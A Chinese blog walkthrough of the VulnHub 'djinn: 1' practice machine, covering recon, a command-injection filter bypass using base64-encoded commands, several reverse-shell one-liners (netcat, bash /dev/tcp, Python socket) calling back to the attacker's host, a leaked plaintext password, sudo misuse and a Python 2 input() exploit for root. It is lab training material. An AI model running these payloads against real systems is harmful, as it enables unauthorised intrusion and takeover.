『VulnHub系列』djinn: 1-Walkthrough

靶机地址

难度:中等

靶机发布日期:2019年11月18日

靶机描述:Level: Beginner-Intermediate
flags: user.txt and root.txt
Description: The machine is VirtualBox as well asVMWare compatible. The DHCP will assign an IPautomatically. You’ll see the IP right on the loginscreen. You have to find and read two flags (user androot) which is present in user.txt and root.txtrespectively.
Format: Virtual Machine (Virtualbox - OVA)
Operating System: Linux

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:want2live233@gmail.com

工具、知识点和漏洞

  • nmap
  • burpsuite
  • gobuster
  • uncompyle2
  • 命令注入
  • Python input() 漏洞

0x00、信息收集

靶机IP:192.168.56.109

nmap -sn 192.168.56.0/24

在这里插入图片描述
端口和服务

nmap -sS -sV -T5 -A -p- 192.168.0.109

在这里插入图片描述
在这里插入图片描述
ftp命令大全详解

匿名账户登录ftp下载并查看三个txt,得到一组用户名密码、提示1337端口有个游戏以及一个可能是用户名的nitish81299

在这里插入图片描述
在这里插入图片描述
1337端口跑的是个啥呢?先开始用浏览器访问了一下,连接被重置了。随后telnet访问了一下

在这里插入图片描述
在这里插入图片描述
从图中可以看出,是做一些加减乘除的运算,还必须得做完1000次,貌似需要我们写个脚本,所以先放一放~

nmap扫描之后发现7331端口跑的是HTTP服务,所以对它进行页面、目录枚举

gobuster dir -u http://192.168.56.109:7331/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

枚举结果

  • /wish (Status: 200)
  • /genie (Status: 200)

访问http://192.168.56.109:7331/wish,输入了id,提交之后执行了id命令。所以这里存在系统命令命令注入

在这里插入图片描述
在这里插入图片描述

0x01、getshell

ifconfig命令查看kali的IP为192.168.56.104

msfconsole做好接收反弹的shell的准备

msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_bash
set lhost 192.168.56.104
set lport 1234
exploit

nc -e /bin/bash 192.168.56.104 1234反弹shell,结果提示:Wrong choice of words

在这里插入图片描述
为方便测试我们使用burpsuite进行bypass测试。

命令注入的过滤一般是对一些特定字符或者关键字进行过滤

cmd=ls --> 可执行
cmd=ls -lah --> 可执行
=> 说明空格没有被过滤

cmd=whoami --> 无法执行
cmd=w\ho\am\i --> 可执行
=> 说明过滤了某些关键字

cmd=uname -a --> 可执行
发现靶机是Ubuntu系统,所以后续reverse shell的时候不打算使用nc

cmd=echo w\ho\am\i --> 可执行

在这里插入图片描述
echo可以被执行,那就试试base64编码吧。编码bash -i >& /dev/tcp/192.168.56.104/1234 0>&1

或者编码python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.104",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

可以看到编码python版本的reverse shell有效

在这里插入图片描述
尝试bash reverse shell

编码cat /etc/passwd,尝试读取文件内容
cmd=echo Y2F0IC9ldGMvcGFzc3dk | base64 -d
结果:http://192.168.56.101:7331/genie?name=cat+%2Fetc%2Fpasswd

cmd=echo Y2F0IC9ldGMvcGFzc3dk | base64 -d| bash
结果:成功读取内容

cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTIzNCAwPiYx | base64 -d| bash
结果:http://192.168.56.109:7331/genie?name=,没有反弹shell。

按理来应该是能够反弹shell的,可是为啥没有反弹呢?随后我直接到网页上执行了相同的命令,结果就成功反弹shell了。

在这里插入图片描述
之后猜测可能是burpsuite环境与浏览器环境之间存在url编码差异的原因,于是我对整个payload进行了url encode,然后在burpsuite上执行,reverse shell成功

在这里插入图片描述
之后群里有个表哥告诉我,说只需要对空格加号进行url编码,而不需要对整个payload进行编码

cmd=echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTIzNCAwPiYx%20| base64%20-d|%20bash

下面是对空格和加号进行url编码之后再url解码的截图,可以看到解码之后payload并没有改变。

在这里插入图片描述
在这里插入图片描述
获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。

python -c 'import pty; pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c

如果你想使用clear清屏,那么只需要给TERM这个环境变量赋值screen即可

export TERM=screen # 赋值xterm也可以

0x02、权限提升

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

获取user的flag

读取/etc/passwd发现有两个用户samnitish

/home/nitish目录下发现user.txt,但是www-data无权限读取;sam的用户目录也无权限查看。于是我返回到/opt/80目录,这里可能有一些线索。

读取app.py的内容,在里面发现了过滤cmd的实现方法以及一个可能是线索的文件/home/nitish/.dev/creds.txt

在这里插入图片描述
在这个文件里面我们发现了nitish用户的密码:nitish:p4ssw0rdStr3r0n9,随后切换至该用户并获得该用户的flag

在这里插入图片描述

获取root的flag

查找sudo权限命令

sudo -l

在这里插入图片描述
之后查看了一下使用说明,发现可以通过这个可执行文件得到一个shell,那么现在的问题就是应该输入什么样的参数才能获得sam用户的shell?

在这里插入图片描述
随后使用strings命令简单看了一下这个可执行文件,但好像也没有什么特别明确的东西。

在这里插入图片描述
再用man /usr/bin/genie查看一下使用帮助

man是manual的缩写,man命令用来提供在线帮助,通过man命令可以查看Linux中的命令帮助、配置文件帮助、编程帮助等信息。

在这里插入图片描述

genie可以完成你所有的愿望,甚至可以提升你的权限。

我执行了sudo -u sam /usr/bin/genie -p "/bin/sh",然而并没有得到sam的shell。随后执行了sudo -u sam /usr/bin/genie -cmd whoami得到了sam权限。

在这里插入图片描述
再次执行sudo -l,得到如下结果:

在这里插入图片描述

执行sudo /root/lago之后,大兄弟表示很是懵~

在这里插入图片描述
随后尝试读取两个用户的.bash_history,结果都是没有权限……开啥玩笑呢

在这里插入图片描述
之后我用find / -writable -type f 2>/dev/null查找了一下可写文件,结果发现了一个/home/sam/.pyc,虽然之前也看到过,但那时候并没有引起我的注意,接着读取了一下文件的内容。

在这里插入图片描述
从上图看其实有点懵,我把主要的东西粘贴出来,你再看看。

Working on it!!
Choose a number between 1 to 100: sEnter your number:
Better Luck next time
Enter the full of the file to read: s!User %s is not allowed to read
What do you want to do ?
Be naughty
Guess the number
Read some damn file
Enter your choice:
work your ass off!!

这些话你之前是不是都看到过?对,就是在/root/lago这个可执行文件里面看到过。也就是说/root/lago的源码是Python,你看/home/sam/.pyc里面也有这样的描述/home/mzfr/scripts/exp.py

pyc是一种二进制文件,是由Python文件经过编译后所生成的文件,它是一种byte code,Python文件变成pyc文件后,加载的速度有所提高,而且pyc还是一种跨平台的字节码,由Python的虚拟机来执行的,就类似于Java或者.NET的虚拟机的概念。pyc的内容与Python的版本是相关的,不同版本编译后的pyc文件是不同的,例如2.5版本编译的是pyc文件,而2.4版本编译的Python是无法执行的

所以能不能把.pyc反编译成.py?先把这个文件传到本地

在这里插入图片描述
随后我们用uncompyle2反编译.pyc

这个需要自己到Github下载

在这里插入图片描述
有了源码就好办了,虽然对Python语言自身的漏洞没什么了解,但毕竟可以搜索嘛。读了一下源码,发现可供利用的也只有guessit()这个方法了。

def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'

先在某度进行了一番搜索之后,没有找到想要的东西。之后用Google搜索python input() vulnerability,找到这篇文章:vulnerability-input-function-python-2-x,强烈建议你看一下

我把关键地方截了个图

在这里插入图片描述
根据这个漏洞,结合上面的代码,我们只需要输入num,就可以得到root权限的shell了

在这里插入图片描述
新的一个月,祝各位早日迎娶白富美。哈哈哈

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.

在这里插入图片描述

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值